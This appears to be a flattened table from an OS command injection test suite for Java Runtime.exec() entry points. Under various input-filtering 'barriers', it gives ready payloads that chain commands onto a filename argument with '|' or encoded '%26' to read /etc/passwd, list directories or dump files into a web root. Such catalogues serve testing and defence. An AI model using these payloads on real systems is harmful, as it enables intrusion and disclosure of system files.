+ Independent Exploit 1 (Windows): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent15.txt" + Independent Exploit 2 (Linux): eclipse.ini | cat /etc/passwd >> /var/www/dircontent15.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Invalid Input | +ANY | Mid Statement/Command with Fixed Postfix | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent16.txt" + Independent Exploit 2 (Linux): eclipse.ini | cat /etc/passwd >> /var/www/dircontent16.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Validation | Partial Command (filename) | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent17.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent17.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Validation | Empty Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent18.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent18.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Validation | Invalid Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent19.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent19.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Removal | Partial Command (filename) | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent20.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent20.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Removal | Empty Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent21.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent21.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Removal | Invalid Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent22.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent22.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Validation | Partial Command (filename) | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent23.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent23.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Validation | Empty Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent24.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent24.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Validation | Invalid Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent25.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent25.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Removal | Partial Command (filename) | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent26.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent26.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Removal | Empty Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent27.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent27.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Removal | Invalid Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent28.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent28.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Full OS Command With Prefix | +ANY | Initial Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): cmd.exe /c dir c:\secret-directory\ + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Empty Input | +ANY | Initial Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): dir c:\secret-directory\ + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Invalid Input | +ANY | Initial Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): dir c:\secret-directory\ + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Full OS Command No Prefix | +ANY | Initial Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): dir c:\secret-directory\ + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Partial Command (filename) | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): | dir c:\secret-directory\ + Independent Exploit 2 (Linux): | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Empty Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): eclipse.ini | dir c:\secret-directory\ + Independent Exploit 2 (Linux): eclipse.ini | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Invalid Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): eclipse.ini | dir c:\secret-directory\ + Independent Exploit 2 (Linux): eclipse.ini | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Full OS Postfix Command | +ANY | Postfix Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): type c:\boot.ini + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Empty Input | +ANY | Postfix Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): type c:\boot.ini + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Invalid Input | +ANY | Postfix Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): type c:\boot.ini + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Partial OS Postfix Command | +ANY | Postfix Statement/Command (After initial postfix command) | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): c:\boot.ini + Independent Exploit 2 (Windows): eclipse.ini | type c:\boot.ini + Independent Exploit 3 (Linux): /etc/passwd + Independent Exploit 4 (Linux): eclise.ini | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Empty Input | +ANY | Postfix Statement/Command (After initial postfix command) | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): c:\boot.ini + Independent Exploit 2 (Windows): eclipse.ini | type c:\boot.ini + Independent Exploit 3 (Linux): /etc/passwd + Independent Exploit 4 (Linux): eclise.ini | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Invalid Input | +ANY | Postfix Statement/Command (After initial postfix command) | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): c:\boot.ini + Independent Exploit 2 (Windows): eclipse.ini | type c:\boot.ini + Independent Exploit 3 (Linux): /etc/passwd + Independent Exploit 4 (Linux): eclise.ini | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Partial Command (filename) | +ANY | Mid Statement/Command with Fixed Postfix | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent14.txt" + Independent Exploit 2 (Linux): eclipse.ini | cat /etc/passwd >> /var/www/dircontent14.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Empty Input | +ANY | Mid Statement/Command with Fixed Postfix | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent15.txt" + Independent Exploit 2 (Linux): eclipse.ini | cat /etc/passwd >> /var/www/dircontent15.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Invalid Input | +ANY | Mid Statement/Command with Fixed Postfix | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent16.txt" + Independent Exploit 2 (Linux): eclipse.ini | cat /etc/passwd >> /var/www/dircontent16.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Validation | Partial Command (filename) | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent17.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent17.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Validation | Empty Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent18.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent18.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Validation | Invalid Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent19.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent19.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Removal | Partial Command (filename) | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent20.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent20.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Removal | Empty Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent21.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent21.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Removal | Invalid Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent22.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent22.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Validation | Partial Command (filename) | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent23.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent23.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Validation | Empty Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent24.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent24.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Validation | Invalid Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent25.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent25.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Removal | Partial Command (filename) | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent26.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent26.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Removal | Empty Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent27.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent27.txt + |
| OS Access Method: | Barriers: |
